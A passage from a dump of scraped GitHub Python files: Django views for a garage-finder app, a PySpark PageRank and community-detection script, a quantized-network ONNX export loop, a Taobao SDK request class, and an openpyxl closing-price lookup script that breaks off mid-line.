sp_id).first()\n\n    new_garage= GarageDetails.objects.create(\n        Gname= gname, \n        Gaddress= gaddress,\n        City= gcity,\n        Mobile_No= gmobileno,\n        Gimage=  gimage,\n        Provider_Name= pro_name.UserName,\n        SP_ID= sp_id,\n        Ser1= serv1, \n        Ser2= serv2, \n        Ser3= serv3, \n        Ser4= serv4, \n        Ser5= serv5, \n        Ser6= serv6, \n        Ser7= serv7, \n        Ser1_Price= serv1_price,\n        Ser2_Price= serv2_price,\n        Ser3_Price= serv3_price,\n        Ser4_Price= serv4_price,\n        Ser5_Price= serv5_price,\n        Ser6_Price= serv6_price,\n        Ser7_Price= serv7_price,   \n        )\n\n    return render(request,'providerapp/index_pro.html')\n\n\n\n# Request Handling\n\ndef My_Request(request): # retrieving provider specific request\n    username= Service_Provider.objects.get(SP_Id= request.session['Email'])\n    my_request= Request_Details.objects.filter(Provider_ID= request.session['Email'])\n\n    return render(request, 'providerapp/index_pro.html', {'requests': my_request, 'name': username.UserName })\n\n\ndef Request_Handle(request,req_id): # accepting or deleting request\n    user_req= Request_Details.objects.get(id= req_id)\n    user_det= User.objects.get(UserName= user_req.User_Name)\n    provider_det= Service_Provider.objects.get(SP_Id= user_req.Provider_ID)\n    username= user_det.UserName\n    useremail= str(user_det.User_Id)\n    providername= provider_det.UserName\n    #email= user_det.User_Id\n    if \"accept\" in request.POST:\n        sendmail('Request Accepted','request_accept',useremail, {'u_name': username, 'pro_name': providername} ) \n    elif \"reject\" in request.POST:\n        req= Request_Details.objects.get(id= req_id)\n        req.delete()\n        sendmail('Request Rejected', 'request_reject', useremail, {'pro_name': providername, 'u_name': username}) \n\n    return My_Request(request)\n    #sendmail('Urgent service needed','service_need',provider_id, {'name':  request.session['UserName'],'pro_name': providername.UserName})\n\ndef LogOut(request):\n   del request.session['Email'] \n   del request.session['UserName']\n   del request.session['Role']\n\n   return redirect('/authapp/')\n\ndef UserQuery(request):\n    name= request.POST['name']\n    email= request.POST['email']\n    subject= request.POST['subject']\n    message= request.POST['message']\n\n    user_query= User_Query.objects.create(User_Name= name, Email= email, Subject= subject, Message= message)\n    \n    return render(request, 'userapp/contact.html')\n\n\n\n\n\n\n", "repo_name": "mcbiswas24/garage_finder", "sub_path": "providerapp/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "authapp.models.Master_Table.objects.get", "line_number": 19, "usage_type": "call"}, {"api_name": "authapp.models.Master_Table.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "authapp.models.Master_Table", "line_number": 19, "usage_type": "name"}, {"api_name": "authapp.models.Service_Provider.objects.filter", "line_number": 66, "usage_type": "call"}, {"api_name": "authapp.models.Service_Provider.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "authapp.models.Service_Provider", "line_number": 66, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 92, "usage_type": "call"}, {"api_name": "authapp.models.Service_Provider.objects.get", "line_number": 99, "usage_type": "call"}, {"api_name": "authapp.models.Service_Provider.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "authapp.models.Service_Provider", "line_number": 99, "usage_type": "name"}, {"api_name": "userapp.models.Request_Details.objects.filter", "line_number": 100, "usage_type": "call"}, {"api_name": "userapp.models.Request_Details.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "userapp.models.Request_Details", "line_number": 100, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 102, "usage_type": "call"}, {"api_name": "userapp.models.Request_Details.objects.get", "line_number": 106, "usage_type": "call"}, {"api_name": "userapp.models.Request_Details.objects", "line_number": 106, "usage_type": "attribute"}, {"api_name": "userapp.models.Request_Details", "line_number": 106, "usage_type": "name"}, {"api_name": "authapp.models.User.objects.get", "line_number": 107, "usage_type": "call"}, {"api_name": "authapp.models.User.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "authapp.models.User", "line_number": 107, "usage_type": "name"}, {"api_name": "authapp.models.Service_Provider.objects.get", "line_number": 108, "usage_type": "call"}, {"api_name": "authapp.models.Service_Provider.objects", "line_number": 108, "usage_type": "attribute"}, {"api_name": "authapp.models.Service_Provider", "line_number": 108, "usage_type": "name"}, {"api_name": "userapp.models.Request_Details.objects.get", "line_number": 116, "usage_type": "call"}, {"api_name": "userapp.models.Request_Details.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "userapp.models.Request_Details", "line_number": 116, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 128, "usage_type": "call"}, {"api_name": "userapp.models.User_Query.objects.create", "line_number": 136, "usage_type": "call"}, {"api_name": "userapp.models.User_Query.objects", "line_number": 136, "usage_type": "attribute"}, {"api_name": "userapp.models.User_Query", "line_number": 136, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 138, "usage_type": "call"}]}
{"seq_id": "31867694750", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#Libraries importing:\nimport findspark\nfindspark.init()\nfindspark.find()\nimport pyspark\nfindspark.find()\nfrom operator import add\nfrom pyspark import SparkContext, SparkConf\nfrom pyspark.sql import SparkSession\nimport pandas as pd\n\n#Opening PySpark Session:\nconf = pyspark.SparkConf().setAppName('appName').setMaster('local')\nsc = pyspark.SparkContext(conf=conf)\nspark = SparkSession(sc)\n\n#Defining computeContribs function:\ndef computeContribs(urls, rank):\n    \"\"\"Calculates URL contributions to the rank of other URLs.\"\"\"\n    num_urls = len(urls)\n    for url in urls:\n        yield (url, rank / num_urls)\n\n\n#Defining parseNeighbors function:\ndef parseNeighbors(urls):\n    \"\"\"Parses a urls pair string into urls pair.\"\"\"\n    parts = urls.split(\"\t\")\n    return parts[0], parts[1]\n\n#Defining Diff function between 2 lists:\ndef Diff(li1, li2):\n    return (list(list(set(li1)-set(li2)) + list(set(li2)-set(li1))))\n\n#Defining intersection function between 2 lists:\ndef intersection(lst1, lst2): \n    return list(set(lst1) & set(lst2)) \n\n#Reading all the lines of Google web graph: \nlines = sc.textFile('web-Google.txt')\nprint(\"Reading and skipping\")\nlines = lines.zipWithIndex().filter(lambda tup: tup[1] > 3).map(lambda tup: tup[0])\nlinks = lines.map(lambda urls: parseNeighbors(urls)).distinct().groupByKey().cache()\n\n# Find node count\nN = links.count()\nprint(N)\nranks = links.map(lambda url_tuple: (url_tuple[0], 1.0))\n\nold_ranks = ranks\ndelta = 1\n\ntemp_struct=ranks.map(lambda tupla : tupla[0])\ntemp_struct_collect=temp_struct.collect()\nitPR = 0\n\n#PageRank algorithm.\nprint(\"Starting PageRank... \")\nwhile(delta > 1.0e-6):\n    print(\"qui\")\n    itPR = itPR + 1\n    contribs = links.join(old_ranks).flatMap(lambda tupla : computeContribs(tupla[1][0],tupla[1][1]))\n    dict_contr=contribs.collectAsMap()\n    temp_struct_current=list(dict_contr.keys())\n    ris=Diff(temp_struct_collect, temp_struct_current)\n    val=intersection(ris, temp_struct_collect)\n    result = map(lambda e: (e,0),val) \n    result=list(result)\n    result=sc.parallelize(result)\n    contribs=contribs.union(result)\n    n_ranks = contribs.reduceByKey(add).mapValues(lambda rank: (rank * 0.90) + 0.10)\n    if(itPR!=1):\n        n_ranks_df = pd.DataFrame(n_ranks.sortByKey().collect(), columns =['Node', 'Score'])\n        old_ranks_df = pd.DataFrame(old_ranks.sortByKey().collect(), columns =['Node', 'Score'])\n        df1 = abs(n_ranks_df['Score'].sub(old_ranks_df['Score'],axis=0))\n        delta=df1.sum()\n    old_ranks = n_ranks\n    n_ranks=None\n    n_ranks_df=None\n    old_ranks_df=None\n    del contribs\n    print(\"Delta: \" , delta)\nprint(\"Finish PageRank... \")\nprint(\"Number of iterations: \", itPR)\n\n\n# In[ ]:\n\n\n#transformation in df to save in CSV\nold_ranks_df = pd.DataFrame(old_ranks.sortByKey().collect(), columns =['Node', 'Score'])\nold_ranks_df.sort_values(by=['Score'], inplace=True, ascending=False)\n\n# Write CSV \nimport tkinter as tk\nfrom tkinter import filedialog\nfrom pandas import DataFrame\n\nold_ranks_df.to_csv(path_or_buf=\"csv_PR_0.10_v3\")\n\n\n# In[ ]:\n\n\n#Saving PR dataframe\nimport pickle\nwith open('dataframePR_0.10_v3.pkl', 'wb') as f:  # Python 3: open(..., 'wb')\n    pickle.dump(old_ranks_df,  f)\n\n\n# In[ ]:\n\n\nfrom pyspark.sql.types import *\nfrom functools import reduce\nfrom pyspark.sql.functions import col, lit, when\nfrom graphframes import *\n\n# Auxiliar functions\ndef equivalent_type(f):\n    if f == 'datetime64[ns]': return TimestampType()\n    elif f == 'int64': return LongType()\n    elif f == 'int32': return IntegerType()\n    elif f == 'float64': return FloatType()\n    else: return StringType()\n\ndef define_structure(string, format_type):\n    try: typo = equivalent_type(format_type)\n    except: typo = StringType()\n    return StructField(string, typo)\n\n# Given pandas dataframe, it will return a spark's dataframe.\ndef pandas_to_spark(pandas_df):\n    columns = list(pandas_df.columns)\n    types = list(pandas_df.dtypes)\n    struct_list = []\n    for column, typo in zip(columns, types): \n      struct_list.append(define_structure(column, typo))\n    p_schema = StructType(struct_list)\n    return sqlContext.createDataFrame(pandas_df, p_schema)\n\nlinks = lines.map(lambda urls: parseNeighbors(urls))\n\nfrom pyspark.sql import SQLContext\nsqlContext = SQLContext(sc)\n\n\n# In[ ]:\n\n\n#use this row only if you use the saved resut \nold_ranks_df=old_ranks_df.rename(columns={\"Node\":\"id\"})\n\n\n# In[ ]:\n\n\nvertices= pandas_to_spark(old_ranks_df)\nedges = sqlContext.createDataFrame(links, [\"src\", \"dst\"])\n\n#graph graphframes\nfrom graphframes import *\ng = GraphFrame(vertices, edges)\n\n\n# In[ ]:\n\n\n#analysis connected components\nsc.setCheckpointDir(\"/tmp/graphframes-example-connected-components\")\nresult = g.connectedComponents()\n\n#grouping and counting all the connected components\nimport pyspark.sql.functions as f\nsorted_connected=result.groupBy('component').count().select('component', f.col('count').alias('n')).orderBy('n', ascending=False)\n\n\n# In[ ]:\n\n\n#community detection\nresult2 = g.labelPropagation(maxIter=3)\nresult2_df = pd.DataFrame(result2.collect(), columns =['id', 'label', 'score'])\n\n#saving result community \nwith open('result2_v3.pkl', 'wb') as f:\n     pickle.dump(result2_df,  f)\n     \n#Write CSV \nimport tkinter as tk\nfrom tkinter import filedialog\nfrom pandas import DataFrame\n\nresult2_df.to_csv(path_or_buf=\"result2_df_3\")\n\n\n# In[ ]:\n\n\n#For each label (community) counting how many nodes\nimport pyspark.sql.functions as f\nsorted_l=result2.groupBy('label').count().select('label', f.col('count').alias('n')).orderBy('n', ascending=False)\n\n\n# In[ ]:\n\n\n#I check which node belongs to the node to choose the community \nresult2.filter(result2.id ==  41909).show()#661424963782\n\n\n# In[ ]:\n\n\n#selection of community  \ncomponent_selected=result2.filter(result2.label == 661424963782 )\ncomponent_selected=component_selected.select(\"id\")\n\n#community's vertices  \nresult_app=result2.select(\"id\",\"label\")\nvertices_sub_graph = vertices.join(result_app, vertices.id ==result_app.id,how=\"left\").drop(result_app.id)\nvertices_sub_graph = vertices_sub_graph.filter(vertices_sub_graph.label  ==661424963782) \n\n#community's edges \nedges_sub_graph = edges.join(result_app, edges.src ==result_app.id,how=\"left\").drop(result_app.id)\nedges_sub_graph = edges_sub_graph.withColumnRenamed(\"label\", \"labelsrc\")\nedges_sub_graph = edges_sub_graph.join(result_app, edges_sub_graph.dst == result_app.id,how=\"left\").drop(result_app.id)\nedges_sub_graph=edges_sub_graph.filter( (edges_sub_graph.label  == 661424963782) | (edges_sub_graph.label  == 661424963782) )\nedges_sub_graph=edges_sub_graph.drop(edges_sub_graph.labelsrc)\nedges_sub_graph=edges_sub_graph.drop(edges_sub_graph.label)\n\ndef listOfTuples(l1, l2): \n    return list(map(lambda x, y:(x,y), l1, l2)) \n\nedges_sub_graph_src=list(edges_sub_graph.select('src').toPandas()['src'])\nedges_sub_graph_dst=list(edges_sub_graph.select('dst').toPandas()['dst']) \nedges_sub_graph_list_tuple=listOfTuples(edges_sub_graph_src, edges_sub_graph_dst)\n\n\n# In[ ]:\n\n\n#list creartioon of vertices for networkX\nlist_app=[]\nfor vertex in vertices_sub_graph.collect():\n    my_dict = {\n      \"Score\": vertex.Score ,\n    }\n    my_tupla=(vertex.id,my_dict)\n    list_app.append(my_tupla)\n\n\n# In[ ]:\n\n\n#list ofvertices \nlist_vertices=list_app\n\n\n# In[ ]:\n\n\n#creation graph networkX for Cytoscape \nimport networkx as nx\nG = nx.Graph()\nG.add_nodes_from(list_vertices)\nG.add_edges_from(edges_sub_graph_list_tuple)\n\n#centrality measures \nbetweenness_centrality = nx.betweenness_centrality(G)\nnx.set_node_attributes(G, betweenness_centrality, \"betweenness\")\ncloseness_centrality = nx.closeness_centrality(G)\nnx.set_node_attributes(G, closeness_centrality, \"closeness\")\ndegreee_centrality = nx.degree_centrality(G)\nnx.set_node_attributes(G, degreee_centrality, \"degree\")\n\n\n# In[ ]:\n\n\nG=nx.read_gml(\"test.gml\")\nh,a=nx.hits(G, max_iter=100, tol=1e-06, nstart=None, normalized=True)#hubs and authorities\n\n\n# In[ ]:\n\n\nnx.set_node_attributes(G, h, name=\"Hubs\")\n\n\n# In[ ]:\n\n\nnx.set_node_attributes(G, a, name=\"Authorities\")\n\n\n# In[ ]:\n\n\nnx.write_gml(G, \"test.gml\")\n\n\n# In[ ]:\n\n\n#file for Cytoscape \nnx.write_gml(G, \"test.gml\")\n\n", "repo_name": "MirkoGaslini/InformationRetrieval-PageRank", "sub_path": "PageRankFinal.py", "file_name": "PageRankFinal.py", "file_ext": "py", "file_size_in_byte": 8164, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "findspark.init", "line_number": 9, "usage_type": "call"}, {"api_name": "findspark.find", "line_number": 10, "usage_type": "call"}, {"api_name": "findspark.find", "line_number": 12, "usage_type": "call"}, {"api_name": "pyspark.SparkConf", "line_number": 19, "usage_type": "call"}, {"api_name": "pyspark.SparkContext", "line_number": 20, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 21, "usage_type": "call"}, {"api_name": "operator.add", "line_number": 77, "usage_type": "argument"}, {"api_name": "pandas.DataFrame", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 80, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 97, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 114, "usage_type": "call"}, {"api_name": "pyspark.sql.SQLContext", "line_number": 151, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 181, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 181, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 189, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 192, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 193, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 193, "usage_type": "argument"}, {"api_name": "pyspark.sql.functions.col", "line_number": 208, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 208, "usage_type": "name"}, {"api_name": "networkx.Graph", "line_number": 271, "usage_type": "call"}, {"api_name": "networkx.betweenness_centrality", "line_number": 276, "usage_type": "call"}, {"api_name": "networkx.set_node_attributes", "line_number": 277, "usage_type": "call"}, {"api_name": "networkx.closeness_centrality", "line_number": 278, "usage_type": "call"}, {"api_name": "networkx.set_node_attributes", "line_number": 279, "usage_type": "call"}, {"api_name": "networkx.degree_centrality", "line_number": 280, "usage_type": "call"}, {"api_name": "networkx.set_node_attributes", "line_number": 281, "usage_type": "call"}, {"api_name": "networkx.read_gml", "line_number": 287, "usage_type": "call"}, {"api_name": "networkx.hits", "line_number": 288, "usage_type": "call"}, {"api_name": "networkx.set_node_attributes", "line_number": 294, "usage_type": "call"}, {"api_name": "networkx.set_node_attributes", "line_number": 300, "usage_type": "call"}, {"api_name": "networkx.write_gml", "line_number": 306, "usage_type": "call"}, {"api_name": "networkx.write_gml", "line_number": 313, "usage_type": "call"}]}
{"seq_id": "13333175110", "text": "# -*- coding: utf-8 -*-\n\n# nn_benchmark\n# author - Quentin Ducasse\n# https://github.com/QDucasse\n# quentin.ducasse@ensta-bretagne.org\n\nimport sys\nimport torch\nfrom nn_benchmark.core import Exporter\nfrom nn_benchmark.networks import QuantTFC\n\nif __name__ == \"__main__\":\n    acq_list = [2, 3, 4, 5, 6, 7, 8, 16, 32]\n    weq_list = [2, 3, 4, 5, 6, 7, 8, 16, 32]\n    inq_list = [8, 8, 8, 8, 8, 8, 8, 32, 32]\n\n    exporter = Exporter()\n\n    # TFC\n    for acq in acq_list:\n        for weq in weq_list:\n            if ((acq <= 8) and (weq <= 8)):\n                inq = 8\n            else:\n                inq = 32\n            # Load correct model\n            tfc = QuantTFC(in_channels=1, weight_bit_width=weq, act_bit_width=acq, in_bit_width=inq)\n            tfc_model = \"/workspace/finn/trained_models/QuantTFC_A{0}W{1}I{2}/checkpoints/best.tar\".format(acq, weq, inq)\n            package = torch.load(tfc_model, map_location='cpu')\n            model_state_dict = package['state_dict']\n            tfc.load_state_dict(model_state_dict)\n            # Generate ONNX counterpart\n            output_path = \"/workspace/finn/trained_onnx/QuantTFC_A{0}W{1}I{2}\".format(acq, weq, inq)\n            print(\"Exporting QuantTFC_A{0}W{1}I{2}.onnx\".format(acq,weq,inq))\n            exporter.export_onnx(model = tfc, output_dir_path = output_path, in_channels = 1,\n                                 act_bit_width = acq, weight_bit_width = weq, input_bit_width = inq,\n                                 epoch = 40)\n", "repo_name": "QDucasse/nn_benchmark", "sub_path": "nn_benchmark/export_experiments.py", "file_name": "export_experiments.py", "file_ext": "py", "file_size_in_byte": 1489, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nn_benchmark.core.Exporter", "line_number": 18, "usage_type": "call"}, {"api_name": "nn_benchmark.networks.QuantTFC", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "10998206775", "text": "from typing import List\nfrom topsdk.client import BaseRequest\nfrom topsdk.util import convert_struct_list,convert_basic_list,convert_struct,convert_basic\nfrom datetime import datetime\n\n\nclass TaobaoWlbWmsInventoryQueryRequest(BaseRequest):\n\n    def __init__(\n        self,\n        page_size: int = None,\n        page_no: int = None,\n        channel_code: str = None,\n        due_date: datetime = None,\n        produce_date: datetime = None,\n        batch_code: str = None,\n        type: int = None,\n        inventory_type: int = None,\n        store_code: str = None,\n        item_id: str = None\n    ):\n        \"\"\"\n            每页多少条，最大50条\n        \"\"\"\n        self._page_size = page_size\n        \"\"\"\n            分页的第几页\n        \"\"\"\n        self._page_no = page_no\n        \"\"\"\n            渠道编码，type=3时字段传值有效。（TB 淘系， OTHERS 其他）\n        \"\"\"\n        self._channel_code = channel_code\n        \"\"\"\n            失效日期，type=2时字段传值有效。\n        \"\"\"\n        self._due_date = due_date\n        \"\"\"\n            生产日期，type=2时字段传值有效。\n        \"\"\"\n        self._produce_date = produce_date\n        \"\"\"\n            库存批次号，type=2时字段传值有效。 商品设置为批次管理时，商品产生批次库存。当商品为批次管理时，此字段不传值，返回所有批次库存信息。\n        \"\"\"\n        self._batch_code = batch_code\n        \"\"\"\n            库存查询类型 1-\t汇总库存，不区分批次和渠道 2-\t批次库存，库存按商品批次维度划分 3-\t渠道库存，库存按渠道维度划分 （当前业务不支持批次库存和渠道库存共存，批次库存无渠道属性，渠道库存无批次属性）\n        \"\"\"\n        self._type = type\n        \"\"\"\n            库存类型。 (1 正品 101 残次 102 机损 103 箱损 201 冻结库存 301 在途库存 )\n        \"\"\"\n        self._inventory_type = inventory_type\n        \"\"\"\n            仓库编码\n        \"\"\"\n        self._store_code = store_code\n        \"\"\"\n            菜鸟商品ID\n        \"\"\"\n        self._item_id = item_id\n\n    @property\n    def page_size(self):\n        return self._page_size\n\n    @page_size.setter\n    def page_size(self, page_size):\n        if isinstance(page_size, int):\n            self._page_size = page_size\n        else:\n            raise TypeError(\"page_size must be int\")\n\n    @property\n    def page_no(self):\n        return self._page_no\n\n    @page_no.setter\n    def page_no(self, page_no):\n        if isinstance(page_no, int):\n            self._page_no = page_no\n        else:\n            raise TypeError(\"page_no must be int\")\n\n    @property\n    def channel_code(self):\n        return self._channel_code\n\n    @channel_code.setter\n    def channel_code(self, channel_code):\n        if isinstance(channel_code, str):\n            self._channel_code = channel_code\n        else:\n            raise TypeError(\"channel_code must be str\")\n\n    @property\n    def due_date(self):\n        return self._due_date\n\n    @due_date.setter\n    def due_date(self, due_date):\n        if isinstance(due_date, datetime):\n            self._due_date = due_date\n        else:\n            raise TypeError(\"due_date must be datetime\")\n\n    @property\n    def produce_date(self):\n        return self._produce_date\n\n    @produce_date.setter\n    def produce_date(self, produce_date):\n        if isinstance(produce_date, datetime):\n            self._produce_date = produce_date\n        else:\n            raise TypeError(\"produce_date must be datetime\")\n\n    @property\n    def batch_code(self):\n        return self._batch_code\n\n    @batch_code.setter\n    def batch_code(self, batch_code):\n        if isinstance(batch_code, str):\n            self._batch_code = batch_code\n        else:\n            raise TypeError(\"batch_code must be str\")\n\n    @property\n    def type(self):\n        return self._type\n\n    @type.setter\n    def type(self, type):\n        if isinstance(type, int):\n            self._type = type\n        else:\n            raise TypeError(\"type must be int\")\n\n    @property\n    def inventory_type(self):\n        return self._inventory_type\n\n    @inventory_type.setter\n    def inventory_type(self, inventory_type):\n        if isinstance(inventory_type, int):\n            self._inventory_type = inventory_type\n        else:\n            raise TypeError(\"inventory_type must be int\")\n\n    @property\n    def store_code(self):\n        return self._store_code\n\n    @store_code.setter\n    def store_code(self, store_code):\n        if isinstance(store_code, str):\n            self._store_code = store_code\n        else:\n            raise TypeError(\"store_code must be str\")\n\n    @property\n    def item_id(self):\n        return self._item_id\n\n    @item_id.setter\n    def item_id(self, item_id):\n        if isinstance(item_id, str):\n            self._item_id = item_id\n        else:\n            raise TypeError(\"item_id must be str\")\n\n\n    def get_api_name(self):\n        return \"taobao.wlb.wms.inventory.query\"\n\n    def to_dict(self):\n        request_dict = {}\n        if self._page_size is not None:\n            request_dict[\"page_size\"] = convert_basic(self._page_size)\n\n        if self._page_no is not None:\n            request_dict[\"page_no\"] = convert_basic(self._page_no)\n\n        if self._channel_code is not None:\n            request_dict[\"channel_code\"] = convert_basic(self._channel_code)\n\n        if self._due_date is not None:\n            request_dict[\"due_date\"] = convert_basic(self._due_date)\n\n        if self._produce_date is not None:\n            request_dict[\"produce_date\"] = convert_basic(self._produce_date)\n\n        if self._batch_code is not None:\n            request_dict[\"batch_code\"] = convert_basic(self._batch_code)\n\n        if self._type is not None:\n            request_dict[\"type\"] = convert_basic(self._type)\n\n        if self._inventory_type is not None:\n            request_dict[\"inventory_type\"] = convert_basic(self._inventory_type)\n\n        if self._store_code is not None:\n            request_dict[\"store_code\"] = convert_basic(self._store_code)\n\n        if self._item_id is not None:\n            request_dict[\"item_id\"] = convert_basic(self._item_id)\n\n        return request_dict\n\n    def get_file_param_dict(self):\n        file_param_dict = {}\n        return file_param_dict\n\n", "repo_name": "LIANGCYRUS/TopApiSite", "sub_path": "apps/topsdk/ability232/request/taobao_wlb_wms_inventory_query_request.py", "file_name": "taobao_wlb_wms_inventory_query_request.py", "file_ext": "py", "file_size_in_byte": 6334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "topsdk.client.BaseRequest", "line_number": 7, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 102, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 113, "usage_type": "argument"}, {"api_name": "topsdk.util.convert_basic", "line_number": 180, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 183, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 186, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 189, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 192, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 195, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 198, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 201, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 204, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 207, "usage_type": "call"}]}
{"seq_id": "18732693842", "text": "import openpyxl\nimport datetime\nfrom openpyxl.utils.cell import get_column_letter\n\n\nworkbook = openpyxl.load_workbook(filename=\"testMKTCAPCashBalanceCPJAN18.xlsx\")\nsheet = workbook[\"CashBalanceJAN18\"]\nnumber_rows = sheet.max_row\nnumber_columns = sheet.max_column\nCURRENTDATE = \"03/09/2021\"\n#######################\n\ndef findClosePrice():\n        \n    for i in range(1,number_rows):\n        print(\"---------------finding ClosePrice----------------\")\n        try:\n            tickerName = str(sheet[(\"A\"+str(i+1))].value)\n            endDateValue = str(sheet[(\"D\"+str(i+1))].value)[:10]\n            endDate = datetime.datetime.strptime(endDateValue, '%Y-%m-%d')\n            # endDateM5 = endDate + datetime.timedelta(days=-5)\n\n            strEndDate = endDate.strftime('%d/%m/%Y')\n            # strEndDateM5 = endDateM5.strftime('%d/%m/%Y')\n            currentDateOBJ = datetime.datetime.strptime(CURRENTDATE, \"%d/%m/%Y\")\n            endDateOBJ = datetime.datetime.strptime(strEndDate, \"%d/%m/%Y\")\n            print(tickerName + \" cashBalance endDate \" + strEndDate)\n            \n            tickerFileOpen = \"cleanDate\" + tickerName + \".xlsx\"\n            print(\".....Opening '\" + tickerFileOpen + \"'....\")\n\n            tickerWorkBook = openpyxl.load_workbook(filename=tickerFileOpen)\n            tickerSheet = tickerWorkBook.active\n            tickerNumber_rows = tickerSheet.max_row\n            # tickerNumber_columns = tickerSheet.max_column\n            loopIndex = 0\n            foundDate = False\n            while foundDate == False:\n                #if endDate is in the future, break the loop || loop more than 6 times \n                if foundDate == True or currentDateOBJ < endDateOBJ or loopIndex > 6:\n                    break\n\n                k = 0\n                while k < tickerNumber_rows:\n                    tickerDate = str(tickerSheet[\"A\"+str(k+1)].value)\n                    strEndDateValue = strEndDate\n                    if loopIndex > 0:\n                        tempDate = datetime.datetime.strptime(strEndDate, '%d/%m/%Y') + datetime.timedelta(days=-loopIndex)\n                        strEndDateValue = tempDate.strftime('%d/%m/%Y')\n\n                        # strEndDate = str(tickerSheet[\"A\"+str(k+1)].value)[:10]\n                        # tickerDateDateTime = datetime.datetime.strptime(tickerDate, '%Y-%m-%d')\n                        # tickerDateMinus1 = tickerDateDateTime + datetime.timedelta(days=-1)\n                        # tickerDate = tickerDateMinus1.strftime('%d/%m/%Y')\n\n                    \n                    # tickerCell = \"A\" + str(k+1)\n                    # print('this is tickerdate', tickerDate, ' strEndDate', strEndDate)\n                    if tickerDate == strEndDateValue:\n                        foundDate = True\n\n                        # print('Found EndDate at Cell Number'+tickerCell)\n                        tickerDateM7 = str(tickerSheet[\"A\"+str(k-6)].value)\n                        tickerDateM6 = str(tickerSheet[\"A\"+str(k-5)].value)\n                        tickerDateM5 = str(tickerSheet[\"A\"+str(k-4)].value)\n                        tickerDateM4 = str(tickerSheet[\"A\"+str(k-3)].value)\n                        tickerDateM3 = str(tickerSheet[\"A\"+str(k-2)].value)\n                        tickerDateM2 = str(tickerSheet[\"A\"+str(k-1)].value)\n                        tickerDateM1 = str(tickerSheet[\"A\"+str(k)].value)\n                        tickerDate0 = str(tickerSheet[\"A\"+str(k+1)].value)\n                        tickerDateP1 = str(tickerSheet[\"A\"+str(k+2)].value)\n                        tickerDateP2 = str(tickerSheet[\"A\"+str(k+3)].value)\n                        tickerDateP3 = str(tickerSheet[\"A\"+str(k+4)].value)\n                        tickerDateP4 = str(tickerSheet[\"A\"+str(k+5)].value)\n                        tickerDateP5 = str(tickerSheet[\"A\"+str(k+6)].value)\n\n                        tickerCPEndDateM7 = str(tickerSheet[\"E\"+str(k-6)].value)\n                        tickerCPEndDateM6 = str(tickerSheet[\"E\"+str(k-5)].value)\n                        tickerCPEndDateM5 = str(tickerSheet[\"E\"+str(k-4)].value)\n                        tickerCPEndDateM4 = str(tickerSheet[\"E\"+str(k-3)].value)\n                        tickerCPEndDateM3 = str(tickerSheet[\"E\"+str(k-2)].value)\n                        tickerCPEndDateM2 = str(tickerSheet[\"E\"+str(k-1)].value)\n                        tickerCPEndDateM1 = str(tickerSheet[\"E\"+str(k)].value)\n                        tickerCPEndDate = str(tickerSheet[\"E\"+str(k+1)].value)\n                        tickerCPEndDateP1 = str(tickerSheet[\"E\"+str(k+2)].value)\n                        tickerCPEndDateP2 = str(tickerSheet[\"E\"+str(k+3)].value)\n                        tickerCPEndDateP3 = str(tickerSheet[\"E\"+str(k+4)].value)\n                        tickerCPEndDateP4 = str(tickerSheet[\"E\"+str(k+5)].value)\n                        tickerCPEndDateP5 = str(tickerSheet[\"E\"+str(k+6)].value)          \n                        \n                        sheet[\"F\"+str(i+1)] = float(tickerCPEndDateM7) if tickerCPEndDateM7 != \"None\" else \"DNE\"\n                        sheet[\"G\"+str(i+1)] = float(tickerCPEndDateM6) if tickerCPEndDateM6 != \"None\" else \"DNE\"\n                        sheet[\"H\"+str(i+1)] = float(tickerCPEndDateM5) if tickerCPEndDateM5 != \"None\" else \"DNE\"\n                        sheet[\"I\"+str(i+1)] = float(tickerCPEndDateM4) if tickerCPEndDateM4 != \"None\" 